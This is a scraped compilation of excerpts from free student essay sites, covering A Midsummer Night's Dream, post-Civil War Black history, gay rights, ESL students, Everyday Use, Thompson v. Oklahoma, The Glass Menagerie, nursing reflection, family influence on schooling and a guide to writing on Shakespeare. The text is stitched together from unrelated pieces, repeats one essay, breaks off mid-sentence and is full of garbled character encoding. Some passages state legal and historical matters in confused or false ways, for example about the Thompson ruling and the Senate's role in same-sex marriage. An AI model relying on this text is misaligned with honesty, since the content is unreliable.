Wikipedia. org. 10 December 2008 .

Free Essays on Midsummer Night’s Dream

The Shadow of True Love A Midsummer Night’s Dream by William Shakespeare is a play about romantic, true love. Although the play is a comedy, behind the sexual innuendos and theatrical jokes a tragic subplot runs throughout the play. The play destroys all the noble ideals of true love leaving only a shadow of irrational passion. Every virtue of the romantic true love of the Elizabethan time is decimated and ridiculed as the play progresses. Every relationship hacks away at the stability, the nobility, the gravity, and the power of love. Thus, the play whittles away the idea of a true love, an emotion so profound that nothing could overcome it, into nothing more than a frivolous midsummer night’s dream. The supposed true love of Demetrius, Lysander, Hermia, and Helena stand out as the most prominent example of the instability of love. The love of these four individuals seems to run their lives. Every action of these four characters seems to be spurred by nothing more than love. When Lysander and Hermia plan to meet in the woods Hermia’s first response to the idea is to â€Å"swear to thee, by Cupid’s strongest bow† (I.i.171). Helena betrays her Hermia’s plan to Demetrius solely to gain the attention and maybe even his love. The weight of love is heavy in the minds and actions of the four lovers. Thus when Puck and Oberon misguide the eyes of love so easily, love’s value seems to be diminished. Lysander's love is so easily turned that he goes from saying to Hermia â€Å"One heart, one bed, two bosoms, and one troth† (II.ii.43) to â€Å"Hermia, sleep thou there: And never mayst thou come Lysander near† (II.ii.134-135) in the sam e scene. At the same time the love that Lysander and Hermia share is often considered â€Å"true love† (I.i.33) and yet it is turned so easily. Oberon even states this idea as he tells Puck â€Å"Some true-love turn’d and not a false turn’d true† (III.ii.90). Love even turns to disgust a... Free Essays on Midsummer Night’s Dream Free Essays on Midsummer Night’s Dream The Shadow of True Love A Midsummer Night’s Dream by William Shakespeare is a play about romantic, true love. Although the play is a comedy, behind the sexual innuendos and theatrical jokes a tragic subplot runs throughout the play. The play destroys all the noble ideals of true love leaving only a shadow of irrational passion. Every virtue of the romantic true love of the Elizabethan time is decimated and ridiculed as the play progresses. Every relationship hacks away at the stability, the nobility, the gravity, and the power of love. Thus, the play whittles away the idea of a true love, an emotion so profound that nothing could overcome it, into nothing more than a frivolous midsummer night’s dream. The supposed true love of Demetrius, Lysander, Hermia, and Helena stand out as the most prominent example of the instability of love. The love of these four individuals seems to run their lives. Every action of these four characters seems to be spurred by nothing more than love. When Lysander and Hermia plan to meet in the woods Hermia’s first response to the idea is to â€Å"swear to thee, by Cupid’s strongest bow† (I.i.171). Helena betrays her Hermia’s plan to Demetrius solely to gain the attention and maybe even his love. The weight of love is heavy in the minds and actions of the four lovers. Thus when Puck and Oberon misguide the eyes of love so easily, love’s value seems to be diminished. Lysander's love is so easily turned that he goes from saying to Hermia â€Å"One heart, one bed, two bosoms, and one troth† (II.ii.43) to â€Å"Hermia, sleep thou there: And never mayst thou come Lysander near† (II.ii.134-135) in the sam e scene. At the same time the love that Lysander and Hermia share is often considered â€Å"true love† (I.i.33) and yet it is turned so easily. Oberon even states this idea as he tells Puck â€Å"Some true-love turn’d and not a false turn’d true† (III.ii.90). Love even turns to disgust a...

Civil War essays

Civil War essays The Blacks Struggle following the Civil War After the Civil War and the Emancipation Proclamation by Lincoln, the slaves of America were free. This was a huge step in making our country truly free to all people. The construction of the South did not however work out smoothly for the freed slaves. There were many roadblocks along the way such as the Black Codes, the Plessy vs. Ferguson case, and the terror of the Ku Klux Klan. In this essay, we will look at the struggles that faced the blacks following the Civil War. After President Lincoln issued the Emancipation Proclamation in 1863, former slaves took on a new role in American society. This role was one of more significance and self worth than in slavery, but this class of freedmen was anything but appreciated. Without the manpower of the slaves, the south's agricultural society would fail, and without the agriculture there would be little money or food in the south. The passing of the Louisiana Black Code in 1865, confirmed that whites felt as if blacks could not handle the responsibility or the rights of true citizens. Whites thought they did not deserve these rights because they were inferior to themselves and simply less than human. It was almost as if slavery had never ended. The blacks were free, however many of the Negroes everyday rights were abolished. Section 3, of the Louisiana Black Code states No Negro shall be permitted to rent or keep a house within said parish. Section 9 declares, No Negro shall sell, barter, or exchange any a rticles of merchandise or traffic within said parish. And one of the worst of these codes is in Section 4 of the Louisiana Black Code. Every Negro is required to be in the regular service of some white person, or former owner, who shall be held responsible for the conductor of said Negro. (Weinstein 167) Many blacks remained on farms and plantations because they did not know what els...

Blog Post Comments Article Example | Topics and Well Written Essays - 500 words

Blog Post Comments - Article Example This is mainly because of their sexual orientation. There are laws in place, which prohibit sexual discrimination and harassment in the workplace (cavallkm 1). Currently, many company policies also provide job security for the gay community. Employees are being desensitized and educated on equality and gender equity. Many believe that military work is masculine, and this is why the gay community finds it hard blending in such institutions like the army and the police force. It will take time before accept the gay community. Policies such as Don’t Ask Don’t Tell is widely in place as those of the gay community choose to keep to themselves. The case of Landon Wilson puts into perspective the challenges faced by the lesbian and gay community. They face constant discrimination in the workplace and usually find it hard settling in many work settings. In order for this group of people to be allowed to integrate with other members of society, it will take a joint effort from all the concerned parties. Not until recently has same-sex marriage been legalized in many countries in Europe, as well as a number of states in the US. For a long while, same-sex couples had been living together in secret. The legalization of gay marriages has been debated in the Senate for many years. As recent as January 2015 did the US Supreme Court agree to rule on gay marriage. The first legal gay marriage in the USA took place in May 2004 (Rimmerman and Wilcox 1). The Christian Church community as a whole have collectively opposed same-sex marriage. The constitution defends the right of two people of the same-sex to marry. The Senate constantly debates on the issue of the freedom and rights of same-sex couples. European countries including Denmark and UK allow same-sex marriage. Currently, same-sex marriage is legal and effective in 37 states of the USA. Recently, 15 states called the Supreme Court to uphold the same-sex

Improving of Leadership Skills by Learning English for International Case Study

Improving of Leadership Skills by Learning English for International Students to be Ready for Graduate Programs - Case Study Example Different Supports Needed to Improve the English Language Skill In order to enhance the English language of the students for the purpose of preparing them for their graduate program at the University of Regina, certain support is very much essential from the viewpoint of the students. The most important forms of support that the graduate students need are academic acculturation and that of English support. In terms of English support, the students have already acquired a brief knowledge regarding the subject topic of English but still the students need certain consequential refining in their skills based upon English i.e. either grammatically, in terms of vocabulary or through any other ways (Crown, 2003). In this connection, it has been observed that most of the students face certain difficulties in particular aspects that include integration of quotes in essays, formatting and effective lead-in to the quotes. These are certain specific areas in which the students must improve which would help them a lot for their graduate programs in the long-term (Crown, 2003). Moreover, the students need to develop themselves in the area of their critical thinking that would help them to improve their English language. The aspect of critical thinking is regarded as the capability to imagine clearly and rationally. It includes the capability to greatly focus upon independent as well as reflective thinking. There lie various useful functions of critical thinking that might help the students towards enhancing the medium of language i.e. English for their graduate program (Lau & Chan, 2012). The various useful functions of the aspect of critical thinking include understanding the coherent interrelation between the conceptions of the subject topic, recognizing, generating as... This report approves that the teachers as facilitators assisted as well as supported the students and the learners by delivering several skills and capabilities which ultimately helped the English learners or the students to enhance their several aptitude skills such as writing and listening. Moreover, the facilitators also assisted the students or the learners to acquire a brief idea regarding various cultural aspects along with learning several diversification related facets that prevailed in the classroom. In addition, the facilitators assisted the students to learn vocabulary, resolve grammatical errors along with capably write various assignments, projects and proposals that ultimately helped the students or learners to complete their graduation program successfully. The aspect of learning English is very much essential in order to raise as well as to enhance various skills and capabilities such as English writing, reading and listening. In order to improve the above discussed s kills, the students or the learners have to learn English by a considerable level. This essay makes a conclusion that from the overall analysis it can be said that by learning English, the international students can enhance their leadership skills by a significant level. Various barriers as well certain wide gaps were faced by the students or the English learners while learning English but the teachers as facilitators played a major role in order to overcome those barriers and gaps. Along with the major part played by the teachers, the introduction of ESL program or course also can help the students or the English learners to acquire a broad view regarding English which ultimately would help them to progress their writing, reading and listening skills and capabilities.

Interpret Everyday Use by Alice Walker according to guidlines Essay

Interpret Everyday Use by Alice Walker according to guidlines - Essay Example Moreover, when she mentions the burning down of their previous house, she mentions Dee’s response to the mishap, â€Å"Why don't you do a dance around the ashes? I'd wanted to ask her. She had hated the house that much.† Thus, Dee comes across as rather reckless and selfish while Mama bears the consequences of her daughter’s nature. On the other hand, certain situations mentioned in the story tilt the scale in favor of Dee/Wangero. Mama, while thinking of Dee’s hatred for their house, remembers her response, â€Å"She wrote me once that no matter where we "choose" to live, she will manage to come see us.† Thus, although haughty and tweaked with vanity, Dee cared about her mother, understood her condition and in a way supported her by reassuring her of her support. Another instance shows that Dee, although has grown apart from her mother and sister, missed them and cherished their memories. This is proved by the following lines in the story in which Dee clicks their pictures to take with her. â€Å"She turns, showing white heels through her sandals, and goes back to the car. Out she peeks next with a Polaroid.† However, viewing both sides, the character of Mama is undoubtedly more ‘sympathetic’, and the one which I consider the ‘right one’. The reason for this is that, she comes across as a sad, unfulfilled woman whose dreams remained just that – dreams. ... Maggie and Dee were as far apart as two individuals sharing the same blood line can be. Dee was confident, successful and a vivacious extrovert leading an urban lifestyle. In contrast, Maggie was shy, unsure of her appearance, and didn’t know life outside the realms of her home. In spite of the contrasting nature of their lives, the two girls did care for each other. This is evident in the way Maggie, although angry at first, agrees to give Dee the quilts that were saved for her, â€Å"She can have them, Mama.† Moreover, Dee while going away gives Maggie some heartfelt ‘sisterly’ advice, â€Å"she turned to Maggie, kissed her, and said, you ought to try to make something of yourself, too, Maggie.† Both girls were similar in the way they cared for their mother, in the ways they found suitable in accordance with their demeanor. Also, both had similar choices as both of them found the ancient quilts attractive. Although both saw their value differently, they shared the desire to own the quilts. A first person narrator refers to a person who is himself a character in the story. Such narration can be biased at times because the person is closely involved in the story and thus certain situations can alter his view, thereby altering the overall view of the narration. In this story, Mama is the first person narrator and although she lays down the facts and the events as they occurred, we cannot completely rely on her observance and conclusions, as, at some point of time, her narration is sure to be colored with her personal views, thus altering the course of realization of the reader. As she is the one who narrates, we get to see her side of story the best. Also, we get to know Maggie and Dee through her perspective and her judgment of good or bad is passed

Thompson v. Oklahoma Essay Example for Free

Thompson v. Oklahoma Essay The case Thompson v. Oklahoma took place in 1988. William Thompson (15 year-old boy) killed his brother-in-law, who had been abusing his sister. The murder was not committed in state of temporary insanity, so the court considered it as first-degree murder and sentenced William Thompson to death. As far as the 8th and 14th Amendments ban death sentence for a person, who is under 16 years old at the moment of committing crime, the Court considered execution of 15-year old boy as cruel and unusual. The case was reversed and remanded and the Supreme Court granted William Thompson certiorari. The crime was committed by four persons. William Thompson took part in murder. The killed had a lot of bruises, his leg was broken; his chest, abdomen and throat had been cut, and he had been shot two times. Then after they fettered him to a concrete block and threw him to the river. All four people, who took part in crime, were sentenced to death. As far as Thompson was under 16 at the moment of committing crime, he couldn’t be executed because of prohibition. The justices thoroughly examined circumstances of crime, and concluded that the child was quite aware of consequences at the moment of committing crime and as far as he had mental capacity to realize all the consequences of crime. They stated that there was no chance to rehabilitate William Thompson with help of juvenile system and that he should be treated as adult. At the first stage of trial, the prosecutor presented three photographs, showing the dead body after it was taken out from the river. The photos were introduced to convince guilt of William Thompson. Later the prosecutor asked to find two circumstances, which prove that crime was cruel and heinous. The Court complied with request. In such a way the Court of Criminal Appeals gave its approval to the fact of death sentence. They stated that as far as a person, who was under 16 years old at the moment of committing crime, is certified as an adult for trial procedures, he can be also punished as adult. At the same time, as far as the Supreme Court granted William Thompson certiorari, they had to consider, whether a death sentence was â€Å"cruel and unusual punishment† for a minor and violates his constitutional rights. First of all, there should be a certain degree of culpability, which allows accepting death sentence for a minor. The problem was that authors of the 8th Amendment introduced prohibition against â€Å"cruel and unusual punishments†, although they didn’t give any specifications for that. Judges, who were responsible for trial, should examine, whether the punishment could be considered as violating the â€Å"evolving standards of decency that mark the progress of a maturing society† Trop v. Dulles, 356 U.S. 86, 101 (1958) (plurality opinion) (Warren, C. J.). Justice Powell compared rights of adults and children, and came to conclusion, that there are certain differences between them. For example, children are not eligible to vote, to purchase alcohol and cigarettes, to mention a few. Justice Powell stated that according to laws of Oklahoma, a person under 16 years old can be treated as a child only. Taking into considerations all prohibitions and limitations in rights for minors (as well as driving with parental consent, marrying with parental consent only, etc), the child cannot be treated as adult during the trial and to be fully responsible for his actions before attaining his maturity. Further the Supreme Court examined minimum age for death penalty. For example, there are 14 States in America, which don’t recognize death penalty at all; from the other side, there are 19 States, which authorize to impose death penalty, but don’t state minimum age of a person (this is an obstacle to find consensus). Although, the judges accepted supposition, that in those States, where death penalty is accepted, minimum age of criminal should be at least 16 years. The American Law Institute and the American Bar Association also are against the death sentence for minors. Judges also presented the fact, that there are plenty of countries, where death penalty is prohibited at all (such countries as Germany, United Kingdom, Russia, Spain, New Zealand, the Netherlands, etc) Further, the Supreme Court examined quantity of people, sentenced to death during the XX century, and came to conclusion that majority of cases were held in the first half of century. The average age of young people, committed crimes and sentenced to death, was approximately 18-20 years old. There were only five minors (under 16 years old), sentenced to death for participation in cruel murders. The Court also considered age as a mitigating circumstance, stating that young people at the age under 16 are not able to control their behavior to that extent, the adults can. Young people are more impulsive and cannot think in long-rank terms, as the adults can, so they shouldn’t be treated as adults during trials. So, taking into consideration all afore said, the Court Criminal Judgment’s decision was vacated and the case Thompson v. Oklahoma was remanded, getting instructions to prohibit death sentence for a youth under 16 years old.

The Complex Character of Amanda in The Glass Menagerie Essay example --

The Complex Character of Amanda in The Glass Menagerie    Amanda Wingfield in The Glass Menagerie furnishes an excellent example of a carefully crafted, complex character whose speech and action arise from the "psychological" being created by the playwright. In his character description, Tennessee Williams starts his reader on the road to discovering Amanda's complexity. AMANDA WINGFIELD the mother. A little woman of great but confused vitality clinging frantically to another time and place. Her characterization must be carefully created, not copied from type. She is not paranoiac, but her life is paranoia. There is much to admire in Amanda, and as much to love and pity as there is to laugh at. Certainly she has endurance and a kind of heroism, and though her foolishness makes her unwittingly cruel at times, there is tenderness in her slight person. (Williams 781) â€Å"Before the first lines are spoken Amanda's complexity is established†(Falk 126) by the nuances and contrasts given here. This basic description must be laid over all dialogue and action throughout the play so as to preserve the fullness of Amanda's character at times when only portions of her nature are being exhibited.   Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚   The complexity of Amanda's character directly affects her action and dialogue with her children. In her role as mother she exhibits an overwhelming desire to see her children succeed in life. In trying to... ...ding Plays. Boston: Allyn, 1990. 307-314. Bigsby, C.W.E. A Critical Introduction to Twentieth-Century American Drama. Vol. 2. Cambridge: Cambridge UP, 1984. Falk, Signi. "The Southern Gentlewoman." Modern Critical Interpretations Tennessee Williams The Glass Menagerie. ed. Harold Bloom. NY: Chelsea House Publishers, 1988. Jackson, Esther Merle. The Broken World of Tennessee Williams. Madison: & of Wisconsin P, 1965. Parker, R.B., ed. Twentieth Century Interpretations of The Glass Menagerie. Englewood Cliffs: Prentice, 1983. Williams, Tennessee. The Glass Menagerie. Masterpieces of the Drama. Ed. Alexander W. Allison, Arthus J. Carr, Arthur M. Eastman. 5th ed. NY: Macmillan, 1986. 779- 814.

Critical Analysis of an Incident in a Clinical Setting :: Reflection Upon Nursing Skills

The purpose of this essay is to reflect and critically study an incident from a clinical setting whilst using a model of reflection. This will allow me to analyse and make sense of the incident and draw conclusions relating to personal learning outcomes. The significance of critical analysis and critical incidents will briefly be discussed followed by the process of reflection using the chosen model. The incident will then be described and analysed and the people involved introduced. (The names of the people involved have been changed to protect their privacy) and then I will examine issues raised in light of the recent literature relating to the incident. My essay will include a discussion of communication, interpersonal skills used in the incident, and finally evidence based practice. I will conclude with explaining what I have learned from the experience and how it will change my future actions. In accordance with the 2002 Nursing and Midwifery Council, the clients' details and placement setting has not been disclosed in order to maintain confidentiality. Critical incidents are snapshots of something that happens to a patient, their family or nurse. It may be something positive, or it could be a situation where someone has suffered in some way (Rich & Parker 2001). Reflection and analysis of critical incidents is widely regarded as a valuable learning tool for nurses. The practice requires us to explore our actions and feelings and examine evidence-based literature, thus bridging the gap between theory and practice (Bailey 1995). It also affords us the opportunity of changing our way of thinking or practicing, for when we reflect on an incident we can learn valuable lessons from what did and did not work. In this way we develop self-awareness and skills in critical thinking and problem solving (Rich & Parker 2001). Critical incidents ??? "To be self aware is to be conscious of one's character, including beliefs, values, qualities, strengths and limitation. It is about knowing oneself" (Burnard 1992). I am going to use Gibbs (1988) Reflective Cycle. This because Gibbs is clear and precise allowing for description, analysis and evaluation of the experience helping the reflective practitioner to make sense of experiences and examine their practice. Taking action is the key; Gibbs prompts to formulate an action plan. This enables the reflective practitioner to look at their practice and see what they would change in the future, how they would develop/improve their practice. Gibbs (1988) consists of six stages to complete one cycle which is able to improve my nursing practice continuously and learning from the experience for better practice in the future.

Family’s Influence on a Child’s Educational Success Essay

The family is a key element in every person’s life; they have the greatest impact on a child’s socialization (Macionis 70). Socialization is a learned behavior that remains with a person his entire life. Family influences nearly every aspect of children’s life, including their education. Increasing evidence indicates that â€Å"schools are not solely responsible for promoting our young people’s academic success; rather, families must be engaged in helping youths develop the knowledge and skills they need to function in tomorrow’s workplace† (Israel 43). Therefore, the question is not whether parents influence education, but rather how and to what extent they do. A variety of explanations exist, including the size of the family, the parenting techniques, and the family’s economic status. Read more:  Factors that influence child development essay Why do some parents become involved in their children’s elementary and secondary education? Three major constructs are believed to be central to parents’ basic involvement decisions. First, a parents’ role construction defines parents’ beliefs about what they are supposed to do in their children’s education and appears to establish the basic range of activities that parents construe as important, necessary, and permissible for their own actions with and on behalf of children. Second, parents’ sense of efficacy for helping their children succeed in school focuses on the extent to which parents believe that through their involvement they can exert positive influence on their children’s educational outcomes. Third, general invitations, demands, and opportunities for involvement refer to parents’ perceptions that the child and school want them to be involved. However, even well-designed school programs inviting involvement will meet with only limited success if they do not address issues of parental role construction and parental sense of efficacy for helping children succeed in school. One theory suggests that the chief reason why a student’s family life affects his/her education is based on the size of the family. More specifically, it suggests that those coming from a family with fewer children perform better academically than those coming from a family with many children. One main reason for this is attributed to the â€Å"dilution of familial resources  available to children in large families and a concentration of such resources in small ones† (Blake 11). For example, in families with many children the parents have less time, less emotional and physical energy, less attention to give, and less ability to interact with children as individuals (Blake 11). Another reason that attention may be diluted is because of the many siblings. Often the mother is pregnant or recovering from pregnancy, which lessens her ability to care for the children. In addition, money is also often diluted. Blake says of that: This type of dilution involves not only the parents’ treatment of individual children–the ability to provide personal living space, cultural advantages such as travel, specialized instruction such as music lessons, specialized medical or dental care, as well as continuous and advanced schooling–but, as well, to provide settings the advantages of which are not divisible: living in a desirable neighborhood, or having a wide range of excellent reading material or recorded music in the house. (11) This suggests that children coming from a poor background are already at an educational disadvantage, possibly even before any formal schooling occurs. Travel enables a child to become a more cosmopolitan person and teaches children about the different cultures of the world. Music teaches dedication and helps with memorization skills. Other problems are associated with large families as well. A study by Lori Heise and Jane Roberts showed that children from large families don’t interact with others outside the family group as much as those in a smaller family, which can limit their understanding of certain social roles (Blake 11). It also places them at a disadvantage in school, where they make not have many friends or feel â€Å"left out.† This can lead to poor grades. This is so because the child may become depressed and find it hard to focus on schoolwork. Without friends to greet them, many times the child chooses not to even go to school. In addition, in families where lots of children are around, the intellectual level may be more â€Å"childlike,† so kids aren’t exposed to adult conversation,  vocabulary, and interests (Blake 11). The children spend most of their time playing with other children. In a family with one or few children, the child often has no other choice than to play with their parent/s. Similarly, the older siblings may often baby-sit or be treated as the â€Å"adult figure,† meaning that the parents are not as involved. The older children are often expected to help take care of his or her brothers or sisters. The parents are not home as often when a babysitter is available. Having a large family can also lead to financial burden and in turn a burden on the child’s academic success. It is often thought that income does not affect one’s education until college; after all, education until that point is free. Studies have shown otherwise. It was found that only-child boys were twice as likely to graduate from high school as boys from families of seven or more, and the same holds true for girls (Blake 41). Of the graduates, there is again a large gap between the two groups for college attendance (meaning that children without siblings are much more likely to attend college than those from large families). However, the distinction is not as large as in high school graduation rates. Once in college, family size has a relatively small effect on the number of years of college schooling a student receives (Blake 45). This indicates that the higher the level of schooling, the less family size is influential. Blake suggests that this is due to the many from large families who drop out of school and who are retained multiple times (Blake 45). One study shows that students coming from a small family do better on achievement test. Twenty-seven percent of boys in grades 1-5 with five siblings or more scored below average on these tests. Compare that number to the twenty percent of boys in the same grade level who were only children (Blake 262). As the number of siblings in the family increased, his or her score on the test decreased. Having many brothers and sisters could also be seen as beneficial to students, especially if a child is the youngest. Parents have often graduated twenty years prior to when their children are attending school.  Therefore, they may not remember the material in order to help their children. Older brothers and sisters, on the other hand, would be more familiar with the subjects and could tutor their siblings. Therefore, students could improve by having a large family. While this theory of family size affecting one’s education is valid and holds true in many cases, it is not solid enough to be the sole explanation. A second explanation as to why family plays such a large role in education is parenting techniques. Problems of school adjustment such as academic failure, underachievement, and disciplinary problems often arise from a combination of information-processing difficulties, attention-deficit disorders, school or performance anxiety, and low motivation. These problems in turn have been linked to specific domains of family life (e.g., family conflict, communication, and organization). (Medway and Cafferty 137) Studies have shown that many of the problems that children have in schools are associated with different parenting styles. Learning disabilities, poor task orientation, attention deficits, and low academic achievement can be caused by an unstable family life, where conflicts are handled through threats, counter-threats, and poor communication (Medway and Cafferty 138). Parents of children with disabilities are found to be more authoritarian and controlling than parents of â€Å"normal† children. Problems of underachievement in schooling can be attributed to parent-child conflicts, low levels of parental availability, and lack of openness between the parent and child. Studies have shown that students with performance anxiety, procrastination, and passive aggressive behavior in school are likely to come from over organized families, where parents are overprotective, restrictive, intrusive, controlling, and dominating (Medway and Cafferty 138). According to psychologist Glenn Israel, a more recent study produced similar results, stressing that parents should help their children with their homework, discuss important school activities with them, and hold high educational aspirations for them (48). They should also limit television  viewing, provide adult supervision when their children come home from school, and monitor homework. Doing so was proven to result in better academic performance and staying in school (Israel 48). Other causes for students to perform better in school involves the child’s social behavior, which are a reflection of the family, particularly the parents. For example, children who move frequently are generally unable to feel integrated in the community’s social structure. On the other hand, the more groups a student is involved in (scouts, religious affiliations, etc), the greater his/ her socialization skills. Better socialization skills can in turn be linked to better school performance (Israel 49). Parenting techniques contribute largely to a child’s academic performance, though this theory is probably the least credible of the three. It is obvious that a parent’s behavior affects his/her child, and their education, but the evidence was too stereotypical. It is outrageous to assume that because a child has a learning disability he/ she comes from an unstable home life. There are many other reasons that influence that, including biology and genetics. However, I strongly agree with the socialization aspects of this argument. Dr. Urie Bronfenbrenner says, â€Å"Children are most significantly influenced by their parents; therefore, if parents have few friends and are uninvolved in community activities, children are likely to be the same way† (40). Socialization definitely plays a role in academic performance, especially at the age of adolescence, when â€Å"fitting in† is so important to students (Bronfenbrenner 40). It is also obvious that parents playing a role in their child’s education is beneficial. Students need the motivation to perform well. If they don’t receive it, they will not be as successful. True as this may be, parenting technique is not the sole answer to this question of how parenting styles affect a child’s academic success. The third reason often used to explain the connection between family life and a student’s education is the economic position of the student’s family. Children often base their goals on their parents’ achievements. A study showed that while all parents would like their children to receive  high levels of education and a prestigious career, low-income parents seem to set lower standards. They are satisfied with lower levels of education and less prestigious jobs Students from lower-income families suffer other disadvantages as well. Economic hardship and stress have been known to affect the relationship between the parent and child. In addition, if the socioeconomic status of the student is low, the amount of parental support, control, and consistency is often low as well. A study by Saucier and Ambert revealed, â€Å"Adolescents from intact families have been found to be more optimistic about the future than those from homes in which there has been a separation, divorce, or parental death† (Brantlinger 154). The amount of parental involvement with education was also found to vary with income. Most students studied claim that their parents attended conferences and activities in elementary school, but there became a gap during junior high and high school. High-income students say their parents still attended, while low-income students’ parents did not. Additionally, high-income adolescents’ parents were much more likely to receive help with schoolwork, such as editing written assignments, than were low-income parents. This could be a result of the education the parents had received. After all, low-income parents had often dropped out of school prior to graduation, while high-income parents had high-levels of educational attainment (Brantlinger 156). A study by Carlos Torres and Theodore Mitchell showed that powerful more affluent parents played a significant role in maintaining a â€Å"†¦hierarchical track structure†¦Ã¢â‚¬  for their child. These parents ensured that their children did well in school. This was made achievable possibly through extra help, tutoring, and increasing the pressure placed on the child to do well (163). Family size and parenting techniques can be related to wealth differences. For example, the smaller the family, the higher the proportion of the income can be spent on the child(ren). Those with better parenting techniques also have a higher economic standing than other parents. Better parenting methods can be linked to the parents having received a higher education. In turn,  they often have more money. While it was found that family size and parenting techniques affect one’s education, it is merely because of wealth. For example, it is not the actual number of people in the family, but the amount of money the family has because of the number of members. Economics are the key factor as to why one’s family life affects one’s education, and it’s a cycle. Children often grow up to be in the same economic class as the family he came from. Therefore, if a parent didn’t attend college, the student is less likely to (Shumow 37). So why does one’s family life affect his education. The answer can be summed up in one word: money. So what can we do about this problem? How can we give economically disadvantaged children a good education? There are several options: For one state funding for poorer schools could be increased. Also, if poor communities applied for grants, they could use them to fund their schools. There are also programs out there to help poor schools. The SETA Head Start Program and the Equity in Education Project were developed for the purpose of improving the lives of low-income children by providing â€Å"quality, comprehensive, child development services that are family focused, including education, health, nutrition, and mental health† (Head Start Home Page Screen 1.) By getting communities involved and educated about programs such as these it is very possible to prevent educational disadvantages like coming from a low-income household or neighborhood. No matter how many elected school officials declare that â€Å"poverty is not an excuse† for poor school performance, the fact remains that children in poverty do not achieve well in school. In a study by Abt Associates, researchers examined the performance of children in high- and low-poverty schools. High-poverty schools were defined as those with 76% or more of the student body eligible for free or reduced-price lunches; low-poverty schools had 20% or less of the student body eligible for federally subsidized lunches. The researchers first divided the students into categories A, B, C,  or D–depending on what grade they commonly took home on their report cards. Then they looked at performance on achievement tests. Students in low-poverty schools who got A’s on their report cards scored as one would expect: 87th percentile in math, 81st in reading. Students in high-poverty schools who got A’s scored higher than their classmates who got lower grades, but they attained only the 36th percentile in reading and the 35th in math (Cirasulo 44). One can only imagine the sledgehammer that will hit these students when they have to compete with students from more affluent schools. What is so depressing about this is the fact that education is the only way to get out of poverty. Education is the only intervention that can help children from poor families escape the cycle. In addition to giving young people basic skills, education can make them aware of opportunities beyond the ghetto. The few who escape the problems of crime, drugs, prostitution, and unwed motherhood are those who have received help from committed teachers and social workers. Schools cannot create jobs or carry all the burdens of a community, but they can make a vital contribution if they are allowed to focus on their primary mission of education. Teachers do not create jobs for poor people, and they cannot erase the damage done by drugs. Granted, schools cannot take on all the burdens of the communities they serve; they should be allowed to focus on what they insist is their reason for existence — the education of children. When it comes to the educational success of a child, money should never be a factor. Unfortunately money is a factor and there is never enough to fulfill the needs of a child.

The Student’s Guide to Writing an Essay on Shakespeare

The Student’s Guide to Writing an Essay on Shakespeare Shakespeare is one of the best-known names when it comes to English literature. Even though he wrote his literature hundreds of years ago, his name still comes up in popular culture. Every few years, there seems to be a new movie based upon one of his plays. In fact, Shakespeare is credited with having the most movies based on his work. In fact, there are over a dozen movies currently in production based on his work. Even though his name is famous, it can sometimes be difficult to know how to write an essay on Shakespeare or his works. Let’s look into some of the best ways in which a student, either in high school or college, can write a great essay on Shakespeare. What is a Shakespeare Essay? According to the Merriam-Webster online dictionary, an essay is defined as an analytic or interpretive literary composition usually dealing with its subject from a limited or personal point of view. Using this definition, it is safe to assume that you are allowed to write about your opinion of Shakespeare or his works. Of course, with any high school or college essay, you are also going to want to back up your opinion with fact. If you have any questions about specific ways to compose your essay (some of these ways will be discussed later in this article) make sure to ask your teacher or consult the assignment rubric. Assignment rubrics will usually have the guidelines for the essay written out in an easy-to-understand way. It is also in the rubric that you will likely find the length your paper needs to be and the general topic of your paper. How to Choose Your Topic: Secrets of Our Academic Writers Sometimes, topics are assigned to students in the rubric or directly by their teacher or professor. Sometimes the topics may be specific, other times there may only be a general topic. Some general topics that students may need to use in Shakespeare essays include Shakespeare biographical essays, essays on his plays, or essays on his sonnets. Many essays are likely to focus on the character relationships, dialogue, and symbolism of elements in Shakespeare’s plays. This is because people are more likely to have a debatable opinion on these features of the play. There is little room for opinion in biographical essays or essays based on the themes of the play. However, when it comes to how characters interact with each other, there can be speculation between why the characters act a certain way of what the dialogue might be translated to if the play was performed in today’s time. Since it can become difficult to pick a topic for writing a Shakespeare essay (since there are so many to pick from) we have provided a list of topics with examples of how they might be used. Feel free to use any of these topics in your own essay. Comparison and Contrast between the Leading Men in Romeo And Juliet: Romeo and Paris. Romeo and Paris are much different in age, with Romeo being much closer to Juliet’s age. Paris is a friend of the family, and Capulet approves of his seeking a relationship with Juliet. Romeo is a Montague, a member of the Capulet’s rival family. However, with all of their differences, they both want Juliet to love them. Many Older Versions of Othello Used Blackface, as African Actors Did Not Act on Stage. Would it be Good or Bad to Continue This Practice? When the plays were originally produced, blackface (a practice in which white actors cover their faces in brown paint to pretend to be African) was commonly used. However, blackface is frowned upon today for being racist. Would it be better to keep using blackface to keep with tradition or would it be better to hire African actors to act as African characters, like in Othello? Was the Fool In King Lear Actually Foolish or Was He Intelligent? How Would This Impact the Play? The fool in King Lear often talks to the king. The king likely assumes the fool is an idiot. However, is he actually an idiot? Who is more foolish: the king or the fool? Thinking about the play in this way, how does it affect its interpretation? The Original Hamlet Play Was Set in Denmark. However, in Recent Movies, the Story is not Always Set in Denmark. So, Does the Setting Matter to the Context of the Play? Hamlet is set in Denmark in the original play. New adaptations of the play aren’t always set in the same place. Does this make any real difference in the play’s impact? Why or why not? Who is More Influential in Macbeth: Macbeth or Lady Macbeth? Why? In MacBeth, Lady MacBeth is the mastermind behind everything, while MacBeth is more likely to take action. Because of this, who had more influence over the actions of the play? Why? Pre-Writing Tips You Can’t Skip Once you have a topic picked out, it is time to plan out your paper. There are a few steps that you should take before writing your paper. These steps will make you spend more time in planning, but if you do them correctly, they are sure to help you to save time when you are actually writing your paper. Let’s take a look at some tips that can help. Find Sources While parts of the essay will rely on the author’s opinion, these opinions need to be backed up with facts if they are to be reliable and believable. One of the first sources you should use if you are writing about Shakespeare’s life are Shakespeare biographies. If you are writing about the plays of sonnets, then using those writings (written in the original English) is best. To find a complete list (with links) of Shakespeare’s plays and sonnets, you can use this link. Shakespeare’s actual works would be primary sources for your paper. Primary sources, in the case of writing a Shakespeare essay, would be anything that Shakespeare wrote himself. Other sources you might want to consider for your essay are secondary sources. These are sources that in some way discuss or interpret a primary source. Examples of secondary sources you could use for your paper include a biography written about Shakespeare, commentary made on his plays, or an interpretation of what certain words could mean in today’s English. Take Notes This tip is helpful whether you are writing an essay or a larger paper. Whenever you find something that you want to remember, make sure to write it down. Students tend to remember things more easily when they write on paper, rather than typing. You will also want to write down vital information, like the books or websites you used to find the notes, the page number of the information, and who wrote the information. This will be useful in finding the source again later. When you take your notes, you do not need to write a complete first draft. 